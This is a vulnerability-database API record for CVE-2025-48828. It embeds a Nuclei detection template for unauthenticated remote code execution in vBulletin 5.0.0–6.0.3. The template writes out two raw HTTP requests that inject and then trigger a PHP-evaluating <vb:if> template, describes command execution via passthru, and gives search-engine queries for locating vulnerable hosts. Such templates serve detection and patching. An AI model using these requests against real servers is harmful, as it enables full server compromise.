{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2025-48828/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2025-48828/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2025-48828/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2025-48828/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2025-48828/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2025-48828"},"sightings":{"href":"/api/v1/sightings/cve-2025-48828"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2025/CVE-2025-48828.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2025-48828\n\ninfo:\n  name: vBulletin replaceAdTemplate - Remote Code Execution\n  author: DhiyaneshDK, Chocapikk\n  severity: critical\n  description: |\n    vBulletin versions 5.0.0 through 6.0.3 contain a Remote Code Execution (RCE) vulnerability in the ajax/api/ad/replaceAdTemplate endpoint. This flaw arises from improper use of PHP's Reflection API, allowing unauthenticated attackers to invoke protected controller methods. By injecting a crafted <vb:if> conditional that executes arbitrary PHP code via passthru($_POST[<param>]), and triggering it with a second request to ajax/render/ad_<location>, attackers can run arbitrary commands on the server as the webserver user.\n  impact: |\n    Successful exploitation allows unauthenticated remote attackers to execute arbitrary system commands as the web server user, resulting in full system compromise.\n  remediation: |\n    Upgrade to vBulletin 6.0.4+ and apply the official patch to restrict access to protected controller methods and secure the ajax/api/ad/replaceAdTemplate endpoint.\n  reference:\n    - https://karmainsecurity.com/pocs/vBulletin-replaceAdTemplate-RCE.php\n    - https://karmainsecurity.com/dont-call-that-protected-method-vbulletin-rce\n    - https://nvd.nist.gov/vuln/detail/CVE-2025-48827\n    - https://nvd.nist.gov/vuln/detail/CVE-2025-48828\n  classification:\n    epss-score: 0.5764\n    epss-percentile: 0.99054\n    cpe: cpe:2.3:a:vbulletin:vbulletin:*:*:*:*:*:*:*:*\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H\n    cvss-score: 10\n    cve-id: CVE-2025-48828\n    cwe-id: CWE-424\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: vbulletin\n    product: vbulletin\n    fofa-query: app=\"vBulletin\"\n    shodan-query: http.component:\"vBulletin\"\n  tags: cve,cve2025,rce,vbulletin,intrusive,vkev,vuln\n\nvariables:\n  rand_string: \"{{to_lower(rand_base(5))}}\"\n  rand_value: \"{{to_lower(rand_text_alpha(5))}}\"\n\nhttp:\n  - raw:\n      - |\n        POST / HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        routestring=ajax/api/ad/replaceAdTemplate&styleid=1&location={{rand_string}}&template=<vb:if condition='\"var_dump\"(\"{{rand_value}}\")'></vb:if>\n\n    matchers:\n      - type: dsl\n        dsl:\n          - status_code == 200\n          - contains_all(body,'string(5)','{{rand_value}}')\n        condition: and\n\n  - raw:\n      - |\n        POST / HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        routestring=ajax/render/ad_{{rand_string}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - status_code == 200\n          - contains_all(body,'string(5)','{{rand_value}}')\n        condition: and\n# digest: 490a0046304402204e39248a257fe29d7edb58396e15638399e3eaae1f7a345e208e8c849a81172d0220018362d93b9507ad022ef094f180080454989dc82f8e0145d2b0eb33139e10fb:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2025-48828"}